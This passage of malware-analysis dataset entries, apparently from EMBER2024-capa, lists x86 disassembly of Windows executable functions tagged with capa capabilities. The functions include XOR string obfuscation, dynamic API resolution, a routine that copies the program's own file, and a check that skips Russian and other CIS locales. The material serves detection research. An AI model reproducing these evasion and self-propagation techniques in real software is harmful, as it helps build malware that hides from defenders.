joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406b60
Capabilities:
Encode data using base64
Encode data using xor

Disassembly:
push 0x84
mov eax, 0x431abb
call fcn.0041bc0a
mov dword [ebp - 0x2c], edx
mov ebx, ecx
mov dword [ebp - 0x38], ebx
and dword [ebp - 4], 0
lea edi, [ebp - 0x90]
mov dword [ebp - 0x44], ebx
mov esi, str.sqwqsq
and dword [ebp - 0x3c], 0
push 0x10
pop ecx
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
movsb byte es:[edi], byte [esi]
xor edx, edx
mov eax, ecx
push 0x37
pop esi
div esi
add dl, 0x32
xor byte [ebp + ecx - 0x90], dl
inc ecx
cmp ecx, 0x41
jl 0x406b95
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x28]
call fcn.004040bd
xor ecx, ecx
xor eax, eax
mov edi, ebx
inc ecx
mov dword [ebp - 4], ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebx + 0x10], eax
mov dword [ebx + 0x14], 0xf
mov byte [ebx], al
mov eax, dword [ebp - 0x2c]
xor edx, edx
push 3
mov dword [ebp - 0x3c], ecx
pop ecx
mov edi, dword [eax + 4]
sub edi, dword [eax]
lea eax, [edi + 2]
div ecx
mov ecx, ebx
shl eax, 2
push eax
call fcn.004089b3
xor ecx, ecx
mov dword [ebp - 0x34], ecx
test edi, edi
je 0x406cd9
mov eax, dword [ebp - 0x2c]
lea edx, [ecx + 2]
lea esi, [edx - 1]
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x40], esi
mov eax, dword [eax]
add eax, ecx
cmp esi, edi
jae 0x406c26
movzx ecx, byte [eax + 1]
mov dword [ebp - 0x30], ecx
jmp 0x406c2a
and dword [ebp - 0x30], 0
cmp edx, edi
jae 0x406c34
movzx ecx, byte [eax + 2]
jmp 0x406c36
xor ecx, ecx
movzx esi, byte [eax]
shl esi, 8
add esi, dword [ebp - 0x30]
shl esi, 8
add esi, ecx
cmp dword [ebp - 0x14], 0xf
lea ecx, [ebp - 0x28]
mov eax, esi
cmova ecx, dword [ebp - 0x28]
shr eax, 0x12
movzx eax, byte [eax + ecx]
mov ecx, ebx
push eax
call fcn.0040420a
cmp dword [ebp - 0x14], 0xf
lea ecx, [ebp - 0x28]
mov eax, esi
cmova ecx, dword [ebp - 0x28]
shr eax, 0xc
and eax, 0x3f
movzx eax, byte [eax + ecx]
mov ecx, ebx
push eax
call fcn.0040420a
cmp dword [ebp - 0x40], edi
jae 0x406c9c
cmp dword [ebp - 0x14], 0xf
lea ecx, [ebp - 0x28]
mov eax, esi
cmova ecx, dword [ebp - 0x28]
shr eax, 6
and eax, 0x3f
mov al, byte [eax + ecx]
jmp 0x406c9e
mov al, 0x3d
push eax
mov ecx, ebx
call fcn.0040420a
cmp dword [ebp - 0x38], edi
jae 0x406cbe
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
and esi, 0x3f
mov al, byte [esi + eax]
jmp 0x406cc0
mov al, 0x3d
push eax
mov ecx, ebx
call fcn.0040420a
mov ecx, dword [ebp - 0x34]
add ecx, 3
mov dword [ebp - 0x34], ecx
cmp ecx, edi
jb 0x406c06
lea ecx, [ebp - 0x28]
call fcn.00402636
mov eax, ebx
call fcn.0041bbb9
ret
Function at 0x406ce9
Capabilities:
Encode data using xor

Disassembly:
push 0x84
mov eax, 0x431b0b
call fcn.0041bc0a
mov ebx, edx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x38], ecx
xor eax, eax
lea edi, [ebp - 0x90]
mov dword [ebp - 4], eax
mov esi, str.sqwqsq
mov dword [ebp - 0x44], ecx
push 0x10
mov dword [ebp - 0x3c], eax
pop ecx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
movsb byte es:[edi], byte [esi]
xor edx, edx
mov eax, ecx
push 0x37
pop esi
div esi
add dl, 0x32
xor byte [ebp + ecx - 0x90], dl
inc ecx
cmp ecx, 0x41
jl 0x406d1e
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004040bd
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 4], ecx
mov esi, dword [ebp - 0x14]
mov edi, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov edx, dword [ebx + 0x10]
imul eax, edx, 3
mov dword [ebp - 0x3c], ecx
shr eax, 2
mov dword [ebp - 0x14], eax
test eax, eax
je 0x406d81
lea eax, [ebp - 0x14]
mov ecx, esi
push eax
call fcn.00408d58
mov edx, dword [ebx + 0x10]
cmp dword [ebx + 0x14], 0xf
mov dword [ebp - 0x34], edi
jbe 0x406d95
mov eax, dword [ebx]
mov ecx, eax
mov dword [ebp - 0x14], eax
mov ebx, eax
jmp 0x406d9c
mov eax, ebx
mov dword [ebp - 0x14], ebx
mov ecx, ebx
add ecx, edx
mov dword [ebp - 0x38], ecx
cmp ebx, ecx
je 0x406e12
mov bl, byte [eax]
movsx eax, bl
push eax
mov byte [ebp - 0x40], bl
call fcn.0041ecc0
pop ecx
test eax, eax
jne 0x406e06
cmp bl, 0x3d
je 0x406e12
push ecx
push dword [ebp - 0x40]
lea ecx, [ebp - 0x2c]
call fcn.0040897e
shl edi, 6
or edi, eax
mov eax, dword [ebp - 0x34]
add eax, 6
mov dword [ebp - 0x34], eax
cmp eax, 8
jl 0x406e06
sub eax, 8
mov edx, edi
mov ecx, eax
mov dword [ebp - 0x34], eax
mov eax, dword [esi + 4]
shr edx, cl
mov byte [ebp - 0x2d], dl
cmp eax, dword [esi + 8]
je 0x406dfa
mov byte [eax], dl
inc dword [esi + 4]
jmp 0x406e06
lea ecx, [ebp - 0x2d]
push ecx
push eax
mov ecx, esi
call fcn.004092f3
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, dword [ebp - 0x38]
jne 0x406da5
lea ecx, [ebp - 0x2c]
call fcn.00402636
mov eax, esi
call fcn.0041bbb9
ret

Function at 0x406ff8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40700b
test al, 0x10
jne 0x40700b
mov al, 1
ret
xor al, al
ret
Function at 0x40731a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x443040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, str.YVF_S__v_v
lea edi, [ebp - 0x40]
push 0x37
mov ebx, ecx
xor ecx, ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x32
xor byte [ebp + ecx - 0x40], dl
inc ecx
cmp ecx, 0xd
jl 0x407340
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x407452
cmp byte [0x43c687], 0
lea edi, [ebp - 0x24]
mov esi, str.qAQTBRPVqAMEBv_HORNXP.5_0
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
je 0x407397
push 0x37
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x32
xor byte [ebp + ecx - 0x24], dl
inc ecx
cmp ecx, 0xc
jl 0x407381
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x24]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x43c669], 0
lea edi, [ebp - 0x50]
mov esi, str.uV_s___jSAYxF_
mov dword [ebp - 0x14], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
je 0x4073d3
push 0x37
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x32
xor byte [ebp + ecx - 0x50], dl
inc ecx
cmp ecx, 0xe
jl 0x4073c0
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x43c6f3], 0
lea edi, [ebp - 0x30]
mov esi, str.q__FS
mov dword [ebp - 0x18], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
je 0x40740f
push 0x37
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x32
xor byte [ebp + ecx - 0x30], dl
inc ecx
cmp ecx, 0xc
jl 0x4073fc
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [ebx + 0x14], 0xf
mov edi, eax
jbe 0x407426
mov ebx, dword [ebx]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push ebx
call dword [ebp - 0x14]
mov esi, eax
cmp esi, 0xffffffff
je 0x407452
lea eax, [ebp - 0xc]
push eax
push esi
call dword [ebp - 0x18]
push esi
test eax, eax
jne 0x407463
call edi
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041b28d
leave
ret
call edi
mov eax, dword [ebp - 0xc]
jmp 0x407454
Function at 0x4085cc
Capabilities:
Encode data using xor

Disassembly:
push 0x44
mov eax, 0x431ea6
call fcn.0041bbd7
mov bl, dl
mov byte [ebp - 0xd], bl
mov dword [ebp - 0x20], ecx
and dword [ebp - 0x18], 0
push 0
lea eax, [ebp + 0x38]
mov dword [ebp - 4], 3
push eax
lea ecx, [ebp + 8]
call fcn.0040401b
mov esi, eax
mov ecx, 0x1400000
test bl, bl
mov eax, 0xa00000
cmove eax, ecx
lea ecx, [ebp + 0x38]
mov dword [ebp - 0x1c], eax
call fcn.0040731a
mov edi, eax
push 0x37
pop ebx
cmp esi, 0xffffffff
jne 0x408659
cmp byte [0x43c517], 0
mov ecx, dword [str.S_X5ncFZPTI_]
mov dword [ebp - 0x14], ecx
je 0x408646
xor ecx, ecx
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x32
xor byte [ebp + ecx - 0x14], dl
inc ecx
cmp ecx, 4
jl 0x408633
lea edx, [ebp - 0x14]
lea ecx, [ebp + 0x38]
call fcn.00408d20
test al, al
je 0x408716
push 0xffffffffffffffff
mov esi, 0x43c650
lea ecx, [ebp + 8]
push esi
call fcn.00408948
xor ebx, ebx
inc ebx
cmp eax, 0xffffffff
je 0x4086b6
mov ecx, dword [ebp + 0x18]
dec ecx
cmp eax, ecx
jae 0x4086b6
push 0xffffffffffffffff
inc eax
lea ecx, [ebp + 8]
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.00403f91
push ebx
push esi
push 0
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.00408a99
push eax
lea ecx, [ebp - 0x38]
call fcn.00404084
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 3
call fcn.00402636
mov dword [ebp - 0x18], 7
jmp 0x4086ca
push 0x43bf85
lea ecx, [ebp - 0x38]
call fcn.004040bd
mov dword [ebp - 0x18], 3
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x38]
call fcn.00408c7c
test al, al
jne 0x408711
cmp byte [0x43c517], 0
mov eax, dword [str.S_X5ncFZPTI_]
mov dword [ebp - 0x14], eax
je 0x408702
push 0x37
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x32
xor byte [ebp + ecx - 0x14], dl
inc ecx
cmp ecx, 4
jl 0x4086ef
lea edx, [ebp - 0x14]
lea ecx, [ebp + 0x20]
call fcn.00408d20
test al, al
je 0x408716
cmp edi, dword [ebp - 0x1c]
jl 0x408718
xor bl, bl
test byte [ebp - 0x18], 1
je 0x408726
lea ecx, [ebp - 0x38]
call fcn.00402636
test bl, bl
je 0x408767
cmp byte [ebp - 0xd], 0
je 0x408735
cmp edi, 0x32
jg 0x408767
sub esp, 0x18
lea eax, [ebp + 0x50]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.004040f6
sub esp, 0x18
mov byte [ebp - 4], 5
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004040f6
mov ecx, dword [ebp - 0x20]
mov byte [ebp - 4], 3
call fcn.004078e4
add esp, 0x30
lea ecx, [ebp + 8]
call fcn.00402636
lea ecx, [ebp + 0x20]
call fcn.00402636
lea ecx, [ebp + 0x38]
call fcn.00402636
lea ecx, [ebp + 0x50]
call fcn.00402636
call fcn.0041bba5
ret
Function at 0x408cb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
xor ecx, ecx
push ebx
push esi
mov esi, 0x43c6f4
push edi
lea edi, [ebp - 0xc]
push 0x37
movsd dword es:[edi], dword [esi]
pop ebx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp byte [0x43c6fd], cl
je 0x408ce7
mov esi, ecx
xor edx, edx
mov eax, esi
div ebx
add dl, 0x32
xor byte [ebp + esi - 0xc], dl
inc esi
cmp esi, 0xa
jl 0x408cd4
mov esi, str.YVF_S__v_v
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x32
xor byte [ebp + ecx - 0x1c], dl
inc ecx
cmp ecx, 0xd
jl 0x408cf3
pop edi
pop esi
pop ebx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
leave
ret
Function at 0x409ff7
Capabilities:
Encode data using xor

Disassembly:
push 0x6c
mov eax, 0x432140
call fcn.0041bc0a
mov dword [ebp - 0x24], ecx
and dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
push eax
mov ecx, edx
call fcn.0040dc33
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
cmp ebx, eax
je 0x40a128
add ebx, 0x18
mov esi, str.OXVWYIMc_
lea edi, [ebp - 0x30]
xor ecx, ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor edx, edx
mov eax, ecx
push 0x34
pop esi
div esi
add dl, 0x38
xor byte [ebp + ecx - 0x30], dl
inc ecx
cmp ecx, 9
jl 0x40a03a
lea eax, [ebp + 8]
push eax
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x60]
call fcn.00404e71
pop ecx
push 1
push 0x43bf98
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.004042c1
push eax
lea ecx, [ebp - 0x78]
call fcn.00404084
lea eax, [ebx - 0x18]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x78]
call fcn.00404245
push eax
lea ecx, [ebp - 0x48]
call fcn.00404084
mov byte [ebp - 4], 4
mov eax, ebx
cmp dword [ebx + 0x14], 0xf
jbe 0x40a0a2
mov eax, dword [ebx]
cmp dword [ebp - 0x34], 0xf
lea edx, [ebp - 0x48]
push ecx
push dword [ebx + 0x10]
cmova edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x24]
push eax
call fcn.0041a877
add esp, 0xc
lea ecx, [ebp - 0x48]
call fcn.00402636
lea ecx, [ebp - 0x78]
call fcn.00402636
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 1
call fcn.00402636
push 0
lea eax, [ebp + 8]
mov esi, 0x443960
push eax
mov ecx, esi
call fcn.0040401b
cmp eax, 0xffffffff
jne 0x40a119
push 0x43bf94
lea edx, [ebp + 8]
lea ecx, [ebp - 0x60]
call fcn.00404325
pop ecx
push eax
mov ecx, esi
mov byte [ebp - 4], 5
call fcn.00404245
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 1
call fcn.00402636
add ebx, 0x30
lea eax, [ebx - 0x18]
cmp eax, dword [ebp - 0x20]
jne 0x40a02d
lea ecx, [ebp - 0x1c]
call fcn.0040668e
lea ecx, [ebp + 8]
call fcn.00402636
call fcn.0041bbb9
ret
Function at 0x40cb6a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov esi, str.OJ_bd
mov dword [ebp - 4], ecx
lea edi, [ebp - 0x10]
push 0x34
pop ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
xor edx, edx
mov eax, esi
div ecx
add dl, 0x38
xor byte [ebp + esi - 0x10], dl
inc esi
cmp esi, 0xb
jl 0x40cb88
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x40cbf2
cmp byte [0x43cd37], 0
lea edi, [ebp - 0x1c]
mov esi, str._UUHYNQ_6CZK_MY
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
je 0x40cbd7
push 0x34
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x38
xor byte [ebp + ecx - 0x1c], dl
inc ecx
cmp ecx, 0xc
jl 0x40cbc4
lea eax, [ebp - 0x1c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40cbeb
push dword [ebp - 4]
call eax
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40cff0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov esi, str.KQ_WP
lea edi, [ebp - 0xc]
xor ebx, ebx
push 0x34
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
cmp byte [0x43cc33], bl
je 0x40d026
mov ecx, ebx
xor edx, edx
mov eax, ecx
div esi
add dl, 0x38
xor byte [ebp + ecx - 0xc], dl
inc ecx
cmp ecx, 0xc
jl 0x40d013
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
test ecx, ecx
je 0x40d071
lea edi, [ebp - 0x1c]
mov esi, str.kQ_WPxFZ46
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp byte [0x43cf2d], bl
je 0x40d061
push 0x34
pop esi
xor edx, edx
mov eax, ebx
div esi
add dl, 0x38
xor byte [ebp + ebx - 0x1c], dl
inc ebx
cmp ebx, 0xe
jl 0x40d04e
lea eax, [ebp - 0x1c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x444840], eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40d290
Capabilities:
Encode data using xor

Disassembly:
push 0xc4
mov eax, 0x432793
call fcn.0041bc0a
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0xd0]
call fcn.0040700e
mov ebx, eax
and dword [ebp - 4], 0
lea edi, [ebp - 0x70]
push 0xb
pop ecx
mov esi, str.KZRO_NUL_n_1__2_hf9_l____7s89wiyu_2_
rep movsd dword es:[edi], dword [esi]
push 0x34
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor edi, edi
mov ecx, edi
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x38
xor byte [ebp + ecx - 0x70], dl
inc ecx
cmp ecx, 0x2f
jl 0x40d2ca
push ebx
lea edx, [ebp - 0x70]
lea ecx, [ebp - 0xb8]
call fcn.00408bb6
pop ecx
mov esi, eax
mov byte [ebp - 4], 1
cmp byte [str._W_I], 0
mov ecx, dword [0x43ce2c]
mov edx, dword [0x43ce30]
push 0x34
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], edx
pop ebx
je 0x40d326
mov ecx, edi
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x38
xor byte [ebp + ecx - 0x30], dl
inc ecx
cmp ecx, 8
jl 0x40d313
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.0040464d
push eax
lea ecx, [ebp - 0xa0]
call fcn.00404084
push dword [ebp - 0x3c]
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 2
call fcn.00404245
push eax
lea ecx, [ebp - 0x88]
call fcn.00404084
mov byte [ebp - 4], 3
mov ecx, edi
mov eax, dword [0x43cd6c]
mov dword [ebp - 0x30], eax
mov al, byte [0x43cd70]
mov byte [ebp - 0x2c], al
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x38
xor byte [ebp + ecx - 0x30], dl
inc ecx
cmp ecx, 5
jl 0x40d371
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x88]
call fcn.0040464d
push eax
lea ecx, [ebp - 0x28]
call fcn.00404084
lea ecx, [ebp - 0x88]
call fcn.00402636
lea ecx, [ebp - 0xa0]
call fcn.00402636
lea ecx, [ebp - 0xb8]
call fcn.00402636
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 8
call fcn.00402636
lea eax, [ebp - 0x28]
mov edx, 0x43cb90
push eax
lea ecx, [ebp - 0x5c]
call fcn.00404e71
pop ecx
mov esi, eax
mov byte [ebp - 4], 9
cmp dword [esi + 0x14], 0xf
jbe 0x40d3ec
mov esi, dword [esi]
cmp byte [0x43cdb3], 0
mov eax, dword [0x43cdac]
mov ecx, dword [str.YE___YPSa_]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
je 0x40d41b
mov ecx, edi
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x38
xor byte [ebp + ecx - 0x38], dl
inc ecx
cmp ecx, 8
jl 0x40d408
mov eax, dword [str.WI_U_]
mov ecx, edi
mov dword [ebp - 0x30], eax
mov al, byte [0x43cbfc]
mov byte [ebp - 0x2c], al
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x38
xor byte [ebp + ecx - 0x30], dl
inc ecx
cmp ecx, 5
jl 0x40d42d
push edi
push edi
push esi
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x30]
push eax
push edi
call dword [0x444840]
lea ecx, [ebp - 0x5c]
mov esi, eax
call fcn.00402636
test esi, esi
lea ecx, [ebp - 0x28]
setne bl
call fcn.00402636
mov al, bl
call fcn.0041bbb9
ret
Function at 0x40d471
Capabilities:
Encode data using xor

Disassembly:
push 0x1c
mov eax, 0x4327d2
call fcn.0041bbd7
and dword [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.0040d290
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.004040f6
mov byte [ebp - 4], 1
lea edi, [ebp - 0x28]
cmp byte [0x43cfcd], 0
mov esi, str.oPT_SJM
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
je 0x40d4cd
xor ecx, ecx
xor edx, edx
mov eax, ecx
push 0x34
pop esi
div esi
add dl, 0x38
xor byte [ebp + ecx - 0x28], dl
inc ecx
cmp ecx, 0x12
jl 0x40d4b7
sub esp, 0x18
lea eax, [ebp - 0x28]
mov ecx, esp
push eax
call fcn.004040bd
mov byte [ebp - 4], 0
call fcn.0040d076
add esp, 0x30
lea ecx, [ebp + 8]
call fcn.00402636
xor al, al
call fcn.0041bba5
ret

Function at 0x40d4f7
Capabilities:
Copy file
Encode data using xor

Disassembly:
push 0x24c
mov eax, 0x43280a
call fcn.0041bc0a
push 0x104
lea eax, [ebp - 0x224]
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 5
pop edx
lea ecx, [ebp - 0x240]
call fcn.00405b8b
lea eax, [ebp - 0x224]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x258]
call fcn.004040bd
push ebx
lea ecx, [ebp - 0x240]
push ecx
mov ecx, eax
call fcn.0040401b
lea ecx, [ebp - 0x258]
mov esi, eax
call fcn.00402636
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x240]
call fcn.00402636
cmp esi, 0xffffffff
jne 0x40d65c
push 5
pop edx
lea ecx, [ebp - 0x258]
call fcn.00405b8b
xor eax, eax
lea ecx, [ebp - 0x258]
inc eax
push eax
push 0x43bf98
mov dword [ebp - 4], eax
call fcn.004042c1
push eax
lea ecx, [ebp - 0x240]
call fcn.00404084
cmp dword [ebp - 0x22c], 0xf
lea ecx, [ebp - 0x240]
lea edx, [ebp - 0x11c]
cmova ecx, dword [ebp - 0x240]
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x40d5bf
lea ecx, [ebp - 0x240]
call fcn.00402636
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x258]
call fcn.00402636
cmp byte [0x43ce1f], 0
lea edi, [ebp - 0x234]
mov esi, str.VVNLZ
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
je 0x40d615
mov ecx, ebx
xor edx, edx
mov eax, ecx
push 0x34
pop esi
div esi
add dl, 0x38
xor byte [ebp + ecx - 0x234], dl
inc ecx
cmp ecx, 0xc
jl 0x40d5fc
lea edx, [ebp - 0x234]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x40d61d
lea edi, [ebp - 0x11c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40d62d
mov ecx, edx
lea eax, [ebp - 0x11c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push ebx
mov ecx, edx
push eax
and ecx, 3
lea eax, [ebp - 0x224]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x40d662
call fcn.0041bbb9
ret
sub esp, 0x18
lea eax, [ebp - 0x11c]
mov ecx, esp
push eax
call fcn.004040bd
call fcn.0040d471
add esp, 0x18
push ebx
call fcn.0041f080
int3
Function at 0x40d7ab
Capabilities:
Create thread

Disassembly:
push 8
mov eax, 0x432885
call fcn.0041bc0a
mov esi, ecx
push 4
xor ebx, ebx
call fcn.0041b29b
mov ecx, eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], ecx
mov dword [ecx], eax
lea edi, [esi + 4]
mov dword [ebp - 4], ebx
push edi
push ebx
push ecx
push 0x40da7f
push ebx
push ebx
call fcn.0041f1f2
add esp, 0x1c
mov dword [esi], eax
test eax, eax
je 0x40d7f4
mov eax, esi
call fcn.0041bbb9
ret 4
push 6
mov dword [edi], ebx
call fcn.0041adc5
int3

Function at 0x40e393
Capabilities:
Identify system language via api

Disassembly:
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
mov edx, 0x419
mov ecx, eax
cmp ax, dx
je 0x40e3ea
add edx, 0x12
cmp ax, dx
je 0x40e3ea
mov edx, 0x423
cmp ax, dx
je 0x40e3ea
add edx, 0x14
cmp ax, dx
je 0x40e3ea
mov edx, 0x43f
cmp ax, dx
je 0x40e3ea
add edx, 0xffffffe9
cmp ax, dx
je 0x40e3ea
mov edx, 0x843
cmp ax, dx
je 0x40e3ea
mov eax, 0x422
cmp cx, ax
setne al
ret
xor al, al
ret

Function at 0x40e3ed
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1dc
mov eax, dword [0x443040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x43d0e8
lea edi, [ebp - 0x1c0]
mov ebx, ecx
xor ecx, ecx
push 0x31
mov dword [ebp - 0x1b4], ebx
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x1b4], ebx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x32
xor byte [ebp + ecx - 0x1c0], dl
inc ecx
cmp ecx, 0xb
jl 0x40e426
lea eax, [ebp - 0x1c0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x1b4], eax
test eax, eax
je 0x40e4ad
cmp byte [str.Eg_QG], 0
lea edi, [ebp - 0x1d8]
push 5
pop ecx
mov esi, 0x43d0d4
rep movsd dword es:[edi], dword [esi]
je 0x40e48d
push 0x31
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x32
xor byte [ebp + ecx - 0x1d8], dl
inc ecx
cmp ecx, 0x14
jl 0x40e471
mov eax, dword [ebp - 0x1b4]
lea ecx, [ebp - 0x1d8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x40e4ca
push dword [ebp - 0x1b4]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x43bf85
mov ecx, ebx
call fcn.004040bd
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041b28d
leave
ret
push 0x1a3
lea eax, [ebp - 0x1ab]
mov dword [ebp - 0x1b0], 0x1a8
